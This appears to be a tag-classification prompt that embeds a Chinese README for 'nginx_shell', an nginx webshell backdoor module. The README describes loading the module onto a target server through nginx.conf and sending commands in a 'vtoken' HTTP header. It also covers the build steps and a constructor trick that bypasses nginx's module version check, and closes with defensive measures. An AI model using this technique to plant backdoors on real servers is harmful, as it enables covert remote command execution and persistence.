base on nginx WebShell/内存马，更优雅的nignx backdoor # 全链路内存马系列之 nginx 内存马  其他内存马 - [ebpf 内核马](https://github.com/veo/ebpf_shell) - [websocket 内存马](https://github.com/veo/wsMemShell) - ### 注意 本项目不含有完整的利用工具，仅提供无害化测试程序、防御加固方案，以及研究思路讨论 - ### 测试程序使用方式 测试环境：Nginx 1.18.0 下载测试程序 [releases](https://github.com/veo/nginx_shell/releases) 将下载的so放至目标服务器上，修改 nginx.conf 配置文件在第一行添加以下内容，path为路径 ``` load_module path/ngx_http_cre_module.so; ``` 然后重载nginx ``` nignx -s reload ``` POST HTTP header `vtoken: whoami` （测试程序只允许使用 `whoami` 命令） **如果无结果返回，可尝试增加header数量**   - ### 编译方式 ``` wget https://nginx.org/download/nginx-1.18.0.tar.gz tar -zxvf nginx-1.18.0.tar.gz cd nginx-1.18.0 git clone https://github.com/veo/nginx_shell.git ./configure --with-compat --add-dynamic-module=./nginx_shell/ make modules ``` 编译后的so文件位于 nginx-1.18.0/objs/ngx_http_cre_module.so - ### 一、技术特点 1. 无需临时编译（传统的 nignx so backdoor 需要临时编译） 2. 兼容 1.9.11 以后的所有版本 3. 无需额外组件支持 - ### 二、技术缺点 1. 有so文件落地 2. 需要 nignx -s reload 权限 - ### 三、技术原理 nginx module 支持动态加载so，通过 __attribute ((constructor))的方式绕过nginx module version check，可以编译出适应所有nginx版本的module。 使用header_filter可以取得命令执行的参数，通过body_filter可以返回命令执行后的结果 - ### 四、研究中遇到的问题 1. 绕过nginx对于module的版本检测 通过 __attribute ((constructor))的方式绕过 2. 编写的module要兼容大部分版本 使用较早版本的函数，不使用高版本新增函数 3. 目标编译参数 --without-http-cache 不一致会导致 ngx_http_request_s 结构体变化，程序无法正常使用 编译了两个版本支持不同的编译环境 - ### 五、防御加固方案 1. 监测Nginx Module的加载，Nginx进程的行为 2. 查杀落地文件 3. 收敛 nignx -s reload 权限", Assign "at most 3 tags" to the expected json: {"id":"6791","tags":[]} "only from the tags list I provide: [{"id":77,"name":"3d"},{"id":89,"name":"agent"},{"id":17,"name":"ai"},{"id":54,"name":"algorithm"},{"id":24,"name":"api"},{"id":44,"name":"authentication"},{"id":3,"name":"aws"},{"id":27,"name":"backend"},{"id":60,"name":"benchmark"},{"id":72,"name":"best-practices"},{"id":39,"name":"bitcoin"},{"id":37,"name":"blockchain"},{"id":1,"name":"blog"},{"id":45,"name":"bundler"},{"id":58,"name":"cache"},{"id":21,"name":"chat"},{"id":49,"name":"cicd"},{"id":4,"name":"cli"},{"id":64,"name":"cloud-native"},{"id":48,"name":"cms"},{"id":61,"name":"compiler"},{"id":68,"name":"containerization"},{"id":92,"name":"crm"},{"id":34,"name":"data"},{"id":47,"name":"database"},{"id":8,"name":"declarative-gui "},{"id":9,"name":"deploy-tool"},{"id":53,"name":"desktop-app"},{"id":6,"name":"dev-exp-lib"},{"id":59,"name":"dev-tool"},{"id":13,"name":"ecommerce"},{"id":26,"name":"editor"},{"id":66,"name":"emulator"},{"id":62,"name":"filesystem"},{"id":80,"name":"finance"},{"id":15,"name":"firmware"},{"id":73,"name":"for-fun"},{"id":2,"name":"framework"},{"id":11,"name":"frontend"},{"id":22,"name":"game"},{"id":81,"name":"game-engine "},{"id":23,"name":"graphql"},{"id":84,"name":"gui"},{"id":91,"name":"http"},{"id":5,"name":"http-client"},{"id":51,"name":"iac"},{"id":30,"name":"ide"},{"id":78,"name":"iot"},{"id":40,"name":"json"},{"id":83,"name":"julian"},{"id":38,"name":"k8s"},{"id":31,"name":"language"},{"id":10,"name":"learning-resource"},{"id":33,"name":"lib"},{"id":41,"name":"linter"},{"id":28,"name":"lms"},{"id":16,"name":"logging"},{"id":76,"name":"low-code"},{"id":90,"name":"message-queue"},{"id":42,"name":"mobile-app"},{"id":18,"name":"monitoring"},{"id":36,"name":"networking"},{"id":7,"name":"node-version"},{"id":55,"name":"nosql"},{"id":57,"name":"observability"},{"id":46,"name":"orm"},{"id":52,"name":"os"},{"id":14,"name":"parser"},{"id":74,"name":"react"},{"id":82,"name":"real-time"},{"id":56,"name":"robot"},{"id":65,"name":"runtime"},{"id":32,"name":"sdk"},{"id":71,"name":"search"},{"id":63,"name":"secrets"},{"id":25,"name":"security"},{"id":85,"name":"server"},{"id":86,"name":"serverless"},{"id":70,"name":"storage"},{"id":75,"name":"system-design"},{"id":79,"name":"terminal"},{"id":29,"name":"testing"},{"id":12,"name":"ui"},{"id":50,"name":"ux"},{"id":88,"name":"video"},{"id":20,"name":"web-app"},{"id":35,"name":"web-server"},{"id":43,"name":"webassembly"},{"id":69,"name":"workflow"},{"id":87,"name":"yaml"}]" returns me the "expected json"